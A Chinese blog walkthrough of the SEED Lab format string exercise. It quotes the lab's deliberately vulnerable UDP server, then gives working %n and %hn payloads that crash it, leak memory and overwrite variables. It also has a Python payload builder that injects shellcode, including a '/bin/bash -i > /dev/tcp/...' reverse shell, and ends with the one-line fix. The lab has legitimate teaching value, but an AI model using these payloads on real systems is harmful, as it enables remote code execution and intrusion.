[SEEDLab]格式化字符串攻击(format string vulnerability)

[SEEDLab]格式化字符串漏洞(Format String Vulnerability)

实验PDF链接

Introduction

格式化字符串漏洞是一个经典的漏洞,也是Pwn里面一个基础吧。他是由于C语言中的printf相关的函数导致的。printf想必大家都已熟悉,对于下面这个语句:

printf("%d%d%d", a, b, c);

系统会将"%d%d%d"和后面的a, b, c三个int变量一起压入栈中。在执行时,系统会扫描第一个字符串,统计其一共有多少个格式化字符串,然后向高地址依次读取,最后输出。在实践中,有时候会有人写出这样的代码:

s = gets();
printf(s);

这时,一旦我们输入%8x,系统便会将字符串s之上的栈中的内容打印出来。此外,printf中还定义了一个不常用的%n,可以对一个特定地址实现写入目前输出的字符数目的操作。这样便造成了严重的格式化字符串漏洞。

Task 1: The Vulnerable Program

实验指导中给出了一个具有格式化字符串漏洞的程序:

#include 
#include 
#include 
#include 
#include 
#include 
#define PORT 9090

char *secret = "A secret message\n";
unsigned int target = 0x11223344;

void myprintf(char *msg){
	printf("The address of the ’msg’ argument: 0x%.8x\n", (unsigned) &msg);
	printf(msg);// This line has a format-string vulnerability
	printf("The value of the ’target’ variable (after): 0x%.8x\n", target);
}

// This function provides some helpful information. It is meant to
// simplify the lab task. In practice, attackers need to figure
// out the information by themselves.

void helper(){
	printf("The address of the secret: 0x%.8x\n", (unsigned) secret);
	printf("The address of the ’target’ variable: 0x%.8x\n",(unsigned) &target);
	printf("The value of the ’target’ variable (before): 0x%.8x\n", target);
}

void main(){
	struct sockaddr_in server;
	struct sockaddr_in client;
	int clientLen;
	char buf[1500];
	helper();
	int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	memset((char *) &server, 0, sizeof(server));
	server.sin_family = AF_INET;
	server.sin_addr.s_addr = htonl(INADDR_ANY);
	server.sin_port = htons(PORT);
	if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
		perror("ERROR on binding");
	while (1) {
		bzero(buf, 1500);
		recvfrom(sock, buf, 1500-1, 0, (struct sockaddr *) &client, &clientLen);
		myprintf(buf);
	}
	close(sock);
}

这个程序被执行时,会打开9090作为socket端口接收UDP包,并将其中的内容打印出来,其第14行具有格式化字符串漏洞,可以为我们所用。

需要注意:

  • 使用sudo sysctl -w kernel.randomize_va_space=0关闭ASLR(Address Space Layout Randomization,地址空间随机化)
  • 因为我们之后的实验需要插入shellcode,因此,使用gcc编译时需要使用gcc -z exestack -o server server.c
  • 由于之后需要获取root shell,因此建议Task1开始,在server端使用sudo su进入root用户;否则,因为不同的uid会被分配不同的堆栈空间,在普通用户下的payload将无法在root之下被使用

server端编译完成之后,在另一个terminal使用nc指令便可以进行交互,结果如下:
[SEEDLab]格式化字符串攻击(format string vulnerability)_第1张图片

Task 2: Understanding the Layout of the Stack

正如在Introduction里面提到的,通过输入大量的格式化字符串,我们可以轻而易举的了解堆栈的信息,我们可以使用python来构建一个payload:

python -c 'print "AAAA"+"%08X."*40' > input1
nc -u 127.0.0.1 9090 < input

然后,通过gdb可以快速发现返回地址的值,进而确定返回地址的地址。

首先,查看返回地址的值,通过gdb server进入gdb,然后直接通过disas main
[SEEDLab]格式化字符串攻击(format string vulnerability)_第2张图片
不难看出返回地址为0x0804872d

然后输入我们的payload:
[SEEDLab]格式化字符串攻击(format string vulnerability)_第3张图片

因而可以尝试复原堆栈内容:

              0 1 2 3     4 5 6 7     8 9 A B     C D E F
0xBFFFEE10:   ........  0xBFFFEE70  0xB7F1C000  0x0804871B
0xBFFFEE20: 0x00000003  0xBFFFEEB0  0xBFFFF498  0x0804872D
0xBFFFEE30: 0xBFFFEEB0  0xBFFFEE88  0x00000010  0x0804864C
0xBFFFEE40: 0x05040400  0x1707070D  0x00000010  0x00000003
0xBFFFEE50: 0x82230002  0x00000000  0x00000000  0x00000000
0xBFFFEE60: 0x30EC0002  0x0100007F  0x00000000  0x00000000
0xBFFFEE70: 0x41414141  0x58383025  0x3830252E  0x30252E58

显而易见

  • 1,也就是存储我们格式化字符串的地址(0xBFFFEE70)的地址是0xBFFFEE14
  • 2, 存储返回地址(0x0804871B)的地址:0xBFFFEE2C
  • 3, 字符串的起始地址,也就是0xBFFFEE70
  • 偏移是0x5C

需要注意的是,这里最后不要通过gdb查看栈,因为gdb在执行中会向栈中压入一部分调试用信息,导致栈中内容与地址出现偏差

Task 3: Crash the Program

说老实话,虽然pwn我不会,但是把一个程序崩掉还不是轻车熟路(手动扇子脸)

一个可行的思路是直接篡改掉返回地址,可以通过%n实现:

python -c 'print "\x2c\xee\xff\xbf%24$n"' > input2
nc -u 127.0.0.1 9090 < input2

因为是Little-Endian,所以前面的返回地址需要写作:\x2c\xee\xff\xbf%24$n可以简单理解为程序会向前寻找到第24个参数写入已经输出的字节个数,在栈中寻找到第24个参数自然会找到我们输入的返回地址的值(注:0x5C / 0x4 + 1 = 0x18 = 24),因而可以将返回地址修改为4,这显然会导致segment fault:
Result

Task 4: Print Out the Server Program’s Memory

Task 4.A: Stack Data

同Task 3中使用的技巧类似,不过这次我们不使用%n,而使用%8x

python -c 'print "AAAA%24$8x"' > input3
nc -u 127.0.0.1 9090 < input3

Result

Task 4.B: Heap Data

如果要读取的是一串字符串的话,那么只需要设定字符串地址,然后使用%s便可以了,通过helper里面输出的信息,可以得到secret msg的地址为:0x080487c0

python -c 'print "\xc0\x87\x04\x08%24$s"' > input4
nc -u 127.0.0.1 9090 < input4

Result

Task 5: Change the Server Program’s Memory

这里我们需要篡改的内存地址为0x0804a040

Task 5.A: Change the value to a different value

与Task 3类似,只需要构建:

python -c 'print "\x40\xa0\x04\x08%24$n"' > input5
nc -u 127.0.0.1 9090 < input5

Result

Task 5.B: Change the value to 0x500

因为这里我们需要定向修改,因此必须输出额外的字符作为填充。这里我们插入了%1276x(1276 = 0x4FC = 0x500 - 0x4),程序会把输出的值强制扩展到1276位

python -c 'print "\x40\xa0\x04\x08%1276x%24$n"' > input6
nc -u 127.0.0.1 9090 < input6

[SEEDLab]格式化字符串攻击(format string vulnerability)_第4张图片

Task 5.C: Change the value to 0xFF990000

这里需要有两点注意,第一点是:

  • 当我们需要把内存中的某个值修改为一个非常大的数时,如果直接使用%n写入的话,那么需要提前输出数量巨大的字符,这会消耗非常多的时间,因而,如果我们希望改写一个地址,最好使用%hn,他一次写入两个字节而非四个,此外还有%hhn,一次写入一个字节

于是,我们试图向0x0804a0400x0804a042中分别写入0x00000xFF99,此时问题出现了

  • 当我们需要把内存中的某个值修改为一个非常小的数时,因为我们在前面必须输出一些字符以确定修改的地址,那么看上去,我们所能修改的值看上去是有下界的(比如在这里,看上去我们不能实现小于8的值的写入),但是实际上,我们可以通过溢出来解决这个问题——因为我们只写两个字节,所以0x00000x10000的效果是一样的

于是我们便可以构建我们的payload,首先放置我们的目标地址:

\x40\xa0\x04\x08\x42\xa0\x04\x08

此时我们已经输出了8个字符,为了达到0x10000个,我们还需要0x10000 - 0x8 = 0xFFF8 = 65528,之后向第二个地址写入,它还需要额外0x1FF99 = 0x10000 = 0xFF99 = 65433个额外输出

 python -c 'print "\x40\xa0\x04\x08\x42\xa0\x04\x08%65528x%24$hn%65433x%25$hn"' > input7
 nc -u 127.0.0.1 9090 < input7

[SEEDLab]格式化字符串攻击(format string vulnerability)_第5张图片

Task 6: Inject Malicious Code into the Server Program

上面已经给出了shellcode了,我们需要做的事情非常简单:

  • 构建payload,将shellcode写入内存
  • 修改返回地址为我们shellcode的起始地址

shellcode之前,可以添加适量的nop(也就是0x90),这样即便我们没有成功跳转到shellcode的起始地址,跳转到nop上也可以顺利进入shellcode,提高我们的容错率。

顺带提一下,保证push后面的是四个字节的内容,不要手贱删空格,不然后面的指令就全错了。

因为可以需要添加较多的shellcode,我们可以写一个简单的python脚本来输出payload:

from struct import pack

shellcode = '\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x68ile \x68/myf\x68/tmp\x68/rm \x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'
nop = '\x90'

ret_addr_addr = 0xBFFFEE2C
target_addr = pack(', ret_addr_addr) + pack(', ret_addr_addr + 2)

nop_num = 0x100

shellcode_start_adr = 0xBFFFEE92 + nop_num
high_adr, low_adr = divmod(shellcode_start_adr, 0x10000)

fill_num_1 = low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8
fill_num_2 = high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr
print(target_addr + '%' + str(fill_num_1) + 'x%24$hn%' + str(fill_num_2) + 'x%25$hn' + nop*nop_num + shellcode)

Result
[SEEDLab]格式化字符串攻击(format string vulnerability)_第6张图片

懒得创一个新的了,大家会意即可

Task 7: Getting a Reverse Shell

反弹shell,同上面那个基本一致,不过需要多开一个terminal去listen7070端口接收shell。另,仔细审题可以发现需要拿root shell,如果你之前没root,这里临时sudo了一下,然后用之前拿到的地址信息去pwn,拿会发现根本跳不到shellcode,只会正常的return

因为在这个里面我们要换一下shellcode里面的信息,这种机械的工作的肯定是要交给python的:

instruction = r'/bin/bash -i > /dev/tcp/127.0.0.1/7070 0<&1 2>&1'
instruction = instruction + len(instruction)%4 * ''
instruction_slide = []
push_inst = r'\x68'
for i in range(0, len(instruction)//4):
	instruction_slide.append(instruction[4*i: 4*i+4])
instruction_slide.reverse()
for i in range(0, len(instruction_slide)):
	print(push_inst+instruction_slide[i], end='')

然后更新我们的shellcode,生成新的payload:

from struct import pack

shellcode = '\x31\xc0\x50\x68bash\x68////\x68/bin\x89\xe3\x31\xc0\x50\x68-ccc\x89\xe0\x31\xd2\x52\x682>&1\x68<&1 \x6870 0\x681/70\x680.0.\x68127.\x68tcp/\x68dev/\x68 > /\x68h -i\x68/bas\x68/bin\x89\xe2\x31\xc9\x51\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80'
nop = '\x90'

ret_addr_addr = 0xBFFFEE2C
target_addr = pack(', ret_addr_addr) + pack(', ret_addr_addr + 2)

nop_num = 0x100

shellcode_start_adr = 0xBFFFEE92 + nop_num
high_adr, low_adr = divmod(shellcode_start_adr, 0x10000)

fill_num_1 = low_adr - 8 if low_adr > 8 else low_adr + 0x10000 - 8
fill_num_2 = high_adr - low_adr if high_adr > low_adr else high_adr + 0x10000 - low_adr
print(target_addr + '%' + str(fill_num_1) + 'x%24$hn%' + str(fill_num_2) + 'x%25$hn' + nop*nop_num + shellcode)

[SEEDLab]格式化字符串攻击(format string vulnerability)_第7张图片
[SEEDLab]格式化字符串攻击(format string vulnerability)_第8张图片

Task 8: Fix the Problem

非常简单,把printf(s)换成printf("%s", s),即可消除格式化字符串漏洞。

你可能感兴趣的:(SEEDLab,pwn,格式化字符串攻击,SEEDLab全逃课攻略)